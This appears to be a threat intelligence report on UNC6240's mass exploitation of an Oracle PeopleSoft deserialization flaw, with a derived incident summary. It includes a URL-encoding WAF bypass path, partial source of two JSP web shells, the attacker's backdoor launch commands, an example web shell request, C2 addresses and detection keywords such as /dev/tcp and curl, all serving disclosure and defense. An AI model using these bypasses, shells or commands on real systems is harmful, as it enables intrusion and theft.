Full Report
Introduction As an update to the June 2026 post, ShinyHunters Targets Education Sector with Oracle PeopleSoft Exploit, Mandiant and Google Threat Intelligence Group (GTIG) have identified renewed mass exploitation of CVE-2026-35273 by UNC6240 (ShinyHunters), along with expanded global targeting across multiple sectors. In June, the threat actor exploited this vulnerability as a zero-day predominantly against academic institutions. This new wave of activity stems from UNC6240 modifying its exploit to bypass web application firewall (WAF) rules blocking the vulnerable Environment Management Hub (PSEMHUB) endpoint. The threat actor bypassed these string-based WAF rules by URL-encoding a single character in the request path, requesting /%50SEMHUB/ in place of /PSEMHUB/. Many WAF and reverse proxy rules match the literal path before URL decoding, while the PeopleSoft application server decodes the request and routes it to the vulnerable servlet. This allows the threat actor to reach the endpoint on systems whose operators may have believed their WAF rules had mitigated the exposure. Our analysis indicates that the threat actor expanded their targeting in this recent campaign, deploying web shells on dozens of systems globally, spanning higher education, technology, IT services, healthcare, agriculture, transportation, and government. Mandiant recommends that organizations running Oracle PeopleSoft take the following immediate actions. Additional remediation and hardening guidance is included later in this post. Remediation and Hardening Quick Guide Apply the Oracle Security Alert patch for CVE-2026-35273. WAF rules and path-based blocking are not a substitute for patching. Disable the Environment Management Hub (EMHub) service in multi-server configurations, or remove the PSEMHUB application entirely in single-server configurations, as advised in Oracle's security alert guidance. Search PIA WebLogic access logs for requests to /PSEMHUB/ and any percent-encoded variant (for example, /%50SEMHUB/), particularly POST requests to /hub and requests to .jsp files from external source IP addresses. Inspect /webserv//applications/peoplesoft/PSEMHUB.war/ for files that are not part of the shipped product, including but not limited to x.jsp, u.jsp, tunnel.jsp, tunnel.jspx, and Ple64.exe. Rotate credentials readable by the PeopleSoft application service account, including database connection strings in psappsrv.cfg, Integration Broker credentials, and any cloud credentials reachable from the web tier. Monitor outbound traffic from PeopleSoft hosts to the network indicators listed in this post, and review endpoints for unexpected MeshCentral agents. Figure 1: Remediation and hardening quick guide Background: From Zero-Day to N-Day In June 2026, we reported a UNC6240 campaign that exploited CVE-2026-35273 as a zero-day between May 27 and June 9, 2026, predominantly against higher education institutions. Oracle released an out-of-band Security Alert on June 10, 2026. Mandiant’s June guidance recommended patching and, where patching or disabling EMHub was not immediately possible, blocking external access to /PSEMHUB/* at the perimeter, noting that WAF body-inspection rules alone were insufficient. The current campaign demonstrates that UNC6240 adapted to published defensive guidance, targeting organizations that implemented WAF rules but did not patch the vulnerability. Attack Lifecycle We observed a consistent sequence of events in targeted PeopleSoft environments, progressing from discovery and verification to web shell deployment and hands-on-keyboard activity. Target Verification Before exploitation, targeted servers typically received five to 15 POST requests to /%50SEMHUB/hub containing a serialized Java object. Unpatched servers respond with the host operating system without writing files or disrupting the service, allowing the threat actor to quietly confirm exploitability. On hosts that the threat actor validated but did not yet exploit, organizations may see this request in logs, with no follow-on activity. WAF Bypass All requests addressed the vulnerable servlet through a url-encoded path. %50 is the encoded form of the character P. WAF and proxy rules that match the literal string /PSEMHUB before decoding do not match /%50SEMHUB/, while WebLogic decodes the path and serves the application normally. Defenders should assume that threat actors may use any percent-encoded, mixed-case, or otherwise non-normalized variant of /PSEMHUB/, and should enforce blocking on the normalized path. Figure 2: PSEMHUB WAF bypass Exploitation We observed two exploitation methods, both abusing Java deserialization in the PSEMHUB hub servlet: Web shell deployment. To access web shells behind some load balanced environments, the threat actor sent a burst of multiple POST requests to /%50SEMHUB/hub, followed by the creation of a new JSP files, such as x.jsp, or sequentially numbered JSP files in the PSEMHUB.war directory. The repetition likely ensures that every node behind a load balancer receives a copy of the web shell, so organizations should check all WebLogic nodes, not only the first one identified. Fileless command execution. POST requests to /%50SEMHUB/hub that return command output directly in the HTTP response, with no file written to disk. On the host, this appears as shell processes (cmd.exe or /bin/sh) spawned by the WebLogic Java process. Detections that rely on JSP file creation will not identify this method. Post-Exploitation Tooling Dual Web Shells To establish persistent access and stage follow-on payloads, the threat actor deployed two complementary, single-line JSP web shells into the PSEMHUB.war directory. Both shells were designed to minimize web application firewall (WAF) detections during post-exploitation. The primary shell, x.jsp, provides cross-platform command execution. Rather than passing cleartext commands in URL query strings, x.jsp accepts hex-encoded commands via HTTP POST (c) along with an optional execution timeout (t). It automatically detects the underlying operating system, spawning cmd.exe on Windows or reconstructing /bin/sh from an ASCII character array on Linux to avoid static string signatures, and returns the process output prefixed with R:. 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); } else if (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); } else { try { p.exitValue(); break; } catch (IllegalThreadStateException e2) { try { Thread.sleep(40); } catch (Exception e3) {} } } } while (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); } while (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); } out.print("R:" + sb.toString()); } %> Figure 3: x.jsp cross-platform command execution web shell (formatted for readability) When staging larger binaries on compromised Windows hosts, the threat actor deployed a second servlet, u.jsp (along with an offset-based variant, u2.jsp). This shell decodes Base64-encoded file chunks (a) and writes or appends them (m) to a target path (n) in 150 KB increments, bypassing HTTP request-size limits and avoiding PeopleSoft's native FILECHUNKING handlers. It also includes a secondary parameter (x) to execute cmd.exe commands once file reassembly is complete. 0) { k = i.read(buf); if (k > 0) sb.append(new String(buf, 0, k)); } else { try { p.exitValue(); break; } catch (Exception e2) { Thread.sleep(30); } } } out.print("R:" + sb.toString()); } catch (Exception e) { out.print("X:" + e); } } %> Figure 4: u.jsp chunked file upload and execution web shell (formatted for readability) Trojanized Installer and Multi-Stage Backdoor (Ple64.exe) On compromised Windows servers, the threat actor used u.jsp (and u2.jsp) to upload and execute a 5.2 MB binary named Ple64.exe (tracked as SIDEEYE) inside the PSEMHUB.war directory. While Ple64.exe masquerades as a signed installer for the Light Alloy media player, analysis revealed that it is a trojanized installer containing a three-stage execution chain that loads SIDEEYE in memory. The analyzed sample was signed with a valid Extended Validation (EV) certificate issued to Tobias Weihmann Software Development OU via Sectigo. GTIG has contacted Sectigo for revocation of this certificate. When executed, Ple64.exe (Stage 1) decompresses and loads a VMProtect 3 (VMP3)-protected second-stage launcher into memory. This launcher decrypts additional data blocks embedded within Ple64.exe and loads and executes the third stage in memory. Stage 3 is the SIDEEYE C++ backdoor that communicates with its command-and-control (C2) server (162[.]219[.]30[.]165) over raw TCP using separate control (TCP/3333) and data (TCP/3334) ports. Initial analysis indicates that SIDEEYE supports: Browser and desktop application credential theft Process and file management Interactive reverse shell and reverse proxy capabilities After uploading the binary in chunks via u.jsp, the threat actor verified the reassembled file size on disk, launched Ple64.exe as a background process, and confirmed that it remained running: dir applications\peoplesoft\PSEMHUB.war\Ple64.exe for %F in (applications\peoplesoft\PSEMHUB.war\Ple64.exe) do @echo %~zF cmd.exe /c start /b "" applications\peoplesoft\PSEMHUB.war\Ple64.exe tasklist | findstr /i Ple64 Figure 5: Threat actor verifying upload and execution of the trojanized Ple64.exe (SIDEEYE) backdoor Tunneling with Neo-reGeorg Alongside the deployment of Ple64.exe, the threat actor staged the open-source Neo-reGeorg tunneling toolkit and deployed its tunnel.jsp and tunnel.jspx servlets into victim web directories. This toolkit routes SOCKS5 proxy traffic through ordinary HTTP and HTTPS connections to the web tier, enabling internal discovery and lateral movement from the PeopleSoft host. MeshAgent To establish persistent access after web shell placement on Linux systems, UNC6240 deployed the legitimate RMM tool MeshAgent. In earlier May and July 2026 intrusions, the actor dropped unencrypted agent binaries and configuration files directly into /tmp (meshagent, meshagent.msh, and meshagent.db) under the PeopleSoft service account, routing outbound connections to Microsoft-masquerading domains including azurenetfiles.net, microsoft-entra.net, and enroll.azuredevice.cloud. In September 2026 intrusions, UNC6240 continued to use IT-themed infrastructure associated with MeshAgent (winmanage-me.network on 104.219.234.138) for secondary staging and management. MeshCentral is a legitimate open-source remote management platform that threat actors, including UNC6240, use to maintain interactive access to victim systems over web sockets. Observed Post-Exploitation Commands Across compromised instances, a quarter of the threat actor's commands executed as root or NT Authority\SYSTEM, granting full control of the operating system. The remaining commands were executed under PeopleSoft or WebLogic service accounts, which still provide access to PeopleSoft configuration files, database connection strings, and application data. Command activity through the web shells fell into several categories: Host and user discovery, including hostname and whoami. Process verification, polling process listings with tasklist to verify payload execution. An example web shell request using the encoded path follows: GET /%50SEMHUB/.jsp?c=id;hostname;uname+-a HTTP/1.1 Figure 6: Example web shell request Remediation and Hardening Patch and Reduce Exposure Apply the Oracle Security Alert for CVE-2026-35273 and remain on supported PeopleTools versions. Disable the EMHub service if it is not used for patching or remove the PSEMHUB application. EMHub and the Integration Broker listening connector are administrative and system-to-system components, and restricting them from public internet access is non-breaking for standard PeopleSoft Internet Architecture (PIA) user sessions. Log and Endpoint Monitoring Search PIA WebLogic access logs for requests to /PSEMHUB/ and encoded variants, POST requests to /hub with bodies from external sources, and requests to unexpected .jsp or .jspx files under PSEMHUB or PORTAL. On hosts, alert on shell processes (cmd.exe, /bin/sh, bash) spawned by the WebLogic Java process, particularly those invoking base64 -d, curl, /dev/tcp, tasklist, or start /b. Host-Level Auditing Scan PSEMHUB.war/ and PORTAL.war/ for unexpected .jsp, .jspx, and .exe files, inspect .../PSEMHUB.war/envmetadata/transactions/ for unauthorized content, and check for unexpected MeshCentral agents. Organizations that identify a web shell should treat the host as compromised, preserve evidence, and rotate all credentials accessible from the PeopleSoft tier, prioritizing hosts where the WebLogic service runs as root or SYSTEM. Hunt for Evidence of Data Theft Review PeopleSoft and database hosts for large archive files (.tar, .tar.gz, .zst) in temporary or web-accessible directories, and for tar, zstd, rsync, sshpass, or curl processes spawned by the PeopleSoft or WebLogic service accounts. Review database audit logs for bulk queries or exports against HR, payroll, and student records tables, and network logs for large or sustained outbound transfers from the PeopleSoft tier, including rsync (TCP 873), SSH, and HTTP POST traffic to the network indicators listed in this post. Prepare for Extortion UNC6240 has a well-established pattern of data theft extortion, that is, stealing data and threatening to release it on a data leak site unless the victim pays a ransom. Affected organizations should prepare for extortion communications and monitor for potential public exposure of stolen data. Indicators of Compromise (IOCs) To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a GTI collection for registered users. Network Indicators Indicator Type Description 5.199.162.157 IPv4 Attack controller, scanner, and HTTP callback receiver 104.219.234.138 IPv4 Exfiltration staging and remote management host 162.219.30.165 IPv4 C2 for SIDEEYE backdoor winmanage-me.network Domain Resolves to staging host; MeshCentral infrastructure Table 1: Network indicators Host Indicators /webserv//applications/peoplesoft/PSEMHUB.war/x.jsp /webserv//applications/peoplesoft/PSEMHUB.war/u.jsp /webserv//applications/peoplesoft/PSEMHUB.war/Ple64.exe /webserv//applications/peoplesoft/PSEMHUB.war/tunnel.jsp /webserv//applications/peoplesoft/PSEMHUB.war/tunnel.jspx Figure 7: Host indicators URI pattern: /%50SEMHUB/ (percent-encoded WAF bypass path; defenders should assume that threat actors may use any percent-encoded, mixed-case, or otherwise non-normalized variant of /PSEMHUB/ and enforce blocking on the normalized path). File Indicators File Name SHA-256 Description x.jsp 48b4a0827da7bbfce9fb52464f8a659dea7a035189c52c506c0bfb4b1c3fe494 Primary execution web shell; hashes will vary due to extra newline characters. u.jsp 2bee941fb40519d0d1ec52bd79a8f63fc65aac6455c8f2d6b668e3360dfdb5d7 Execution stager servlet tunnel.jsp 419c571ee38b7e7266d130c4b6bbc4dd0ef44d6e5f3bc02cc2cf73b762f07c86 Neo-reGeorg JSP tunnel (open-source). Hashes will vary by key used. tunnel.jspx ba14419beb2ec0bb94cab6298c14d7fb3e1d819366fe378290c0c2a4d97f7e07 Neo-reGeorg JSPX tunnel (open-source). Hashes will vary by key used. Ple64.exe 3ba215692665513abfffd4e815c5c45f2d41e5dcc4283a2a3b740930c5c417c3 Trojanized installer delivering SIDEEYE backdoor Table 2: File indicators Google Security Operations Google Security Operations customers will have access to the following rules. These rules will be available under the Mandiant Frontline Threats rule pack: Oracle PeopleSoft Configuration Inspection Sshpass Interactive File Deployment Data Archiving or Compression via Zstd Utility MeshCentral Command Execution via Meshctrl Pending deployment in the Mandiant Frontline Threats rule pack: Oracle PeopleSoft Suspicious File Write to Web Application Archive Directory MITRE ATT&CK Mapping Tactic Technique Reconnaissance T1596.003 Search Open Technical Databases: Digital Certificates Reconnaissance T1596.005 Search Open Technical Databases: Scan Databases Reconnaissance T1595.002 Active Scanning: Vulnerability Scanning Initial Access T1190 Exploit Public-Facing Application Defense Evasion T1027 Obfuscated Files or Information Execution T1059.003 Command and Scripting Interpreter: Windows Command Shell Execution T1059.004 Command and Scripting Interpreter: Unix Shell Persistence T1505.003 Server Software Component: Web Shell Discovery T1082 System Information Discovery Discovery T1016 System Network Configuration Discovery Credential Access T1552.001 Unsecured Credentials: Credentials In Files Command and Control T1090 Proxy Command and Control T1219 Remote Access Software Exfiltration T1048 Exfiltration Over Alternative Protocol Table 3: MITRE ATT&CK
Analysis Summary
# Incident Report: Mass Exploitation of Oracle PeopleSoft (CVE-2026-35273) by UNC6240
## Executive Summary
UNC6240 (ShinyHunters) conducted a global exploitation campaign targeting Oracle PeopleSoft environments by abusing a Java deserialization vulnerability (CVE-2026-35273). The threat actor successfully bypassed Web Application Firewall (WAF) protections using URL encoding to deploy web shells and the SIDEEYE backdoor. The campaign resulted in dozens of compromises across multiple sectors, including government and healthcare, with a primary objective of data theft for extortion.
## Incident Details
- **Discovery Date:** September 2026 (Renewed wave)
- **Incident Date:** May 27, 2026 – September 2026
- **Affected Organization:** Multiple (Dozens of systems globally)
- **Sector:** Higher Education, Technology, Healthcare, Agriculture, Transportation, and Government
- **Geography:** Global
## Timeline of Events
### Initial Access
- **Date/Time:** May 27, 2026 (Original Zero-Day); September 2026 (WAF Bypass wave)
- **Vector:** Exploitation of CVE-2026-35273 (Environment Management Hub)
- **Details:** UNC6240 utilized Java deserialization via the `PSEMHUB` endpoint. In the renewed campaign, they used URL encoding (`/%50SEMHUB/`) to bypass literal-string WAF rules.
### Lateral Movement
- **Details:** The actor deployed the **Neo-reGeorg** tunneling toolkit (`tunnel.jsp`) to route SOCKS5 proxy traffic through HTTP/HTTPS, enabling internal network discovery and movement from the web tier.
### Data Exfiltration/Impact
- **Details:** Evidence suggests the use of archive tools (`tar`, `zstd`) and `rsync` for data staging. UNC6240 maintains a pattern of stealing sensitive HR, payroll, and student records for public leak extortion.
### Detection & Response
- **Discovery:** Mandiant/GTIG identified renewed activity after organizations with WAF protections were still successfully breached.
- **Response Actions:** GTIG contacted Sectigo to revoke the EV certificate used to sign the `Ple64.exe` backdoor; Mandiant released hunting queries and hardening guides.
## Attack Methodology
- **Initial Access:** Exploitation of public-facing Oracle PeopleSoft applications (CVE-2026-35273).
- **Persistence:** Deployment of `x.jsp` and `u.jsp` web shells; installation of **MeshAgent** (RMM) and the **SIDEEYE** backdoor (`Ple64.exe`).
- **Privilege Escalation:** Execution of commands as `NT Authority\SYSTEM` or `root` in 25% of cases.
- **Defense Evasion:** URL encoding of request paths (`/%50SEMHUB/`); hex-encoded commands in web shells; trojanized installers signed with valid EV certificates; VMProtect 3 (VMP3) obfuscation.
- **Credential Access:** Theft of browser/desktop credentials; harvesting database connection strings from `psappsrv.cfg`.
- **Discovery:** System and network reconnaissance using `hostname`, `whoami`, and `tasklist`.
- **Lateral Movement:** SOCKS5 tunneling via Neo-reGeorg.
- **Exfiltration:** Over alternative protocols including rsync (TCP 873) and HTTP POST.
- **Impact:** Data theft and subsequent extortion.
## Impact Assessment
- **Financial:** Risk of high ransom demands and regulatory fines.
- **Data Breach:** Compromise of PII (HR, Payroll, Student records) and cloud/database credentials.
- **Operational:** Potential disruption during remediation and forced downtime of PeopleSoft services.
- **Reputational:** High, due to UNC6240’s history of publishing stolen data on public leak sites.
## Indicators of Compromise
- **Network Indicators:**
- 5[.]199[.]162[.]157 (Scanner/Callback)
- 104[.]219[.]234[.]138 (Exfiltration staging)
- 162[.]219[.]30[.]165 (SIDEEYE C2)
- winmanage-me[.]network
- **File Indicators:**
- `x.jsp` (48b4a0827da7bbfce9fb52464f8a659dea7a035189c52c506c0bfb4b1c3fe494)
- `Ple64.exe` (3ba215692665513abfffd4e815c5c45f2d41e5dcc4283a2a3b740930c5c417c3)
- **Behavioral Indicators:** `cmd.exe` or `/bin/sh` spawned by WebLogic Java process; `POST` requests to `/%50SEMHUB/hub`.
## Response Actions
- **Containment:** Blocked known C2 IPs and revoked the fraudulent EV certificate.
- **Eradication:** Recommended application of Oracle Security Alert patches and removal of the `PSEMHUB` application.
- **Recovery:** Mandatory rotation of all PeopleSoft-related credentials and database connection strings.
## Lessons Learned
- **WAF Limitations:** String-based WAF rules are easily bypassed by encoding; they are not a substitute for patching.
- **Normalization Matters:** Security controls must normalize paths before inspection to catch variations like `/%50SEMHUB/`.
- **Patch Management:** Zero-day vulnerabilities can quickly transition to mass-exploited N-days once bypasses for interim mitigations are found.
## Recommendations
- **Patch Immediately:** Apply the Oracle Security Alert for CVE-2026-35273.
- **Attack Surface Reduction:** Disable the Environment Management Hub (EMHub) if not required.
- **Enhanced Monitoring:** Implement endpoint logging to detect shell processes spawned by Java application servers.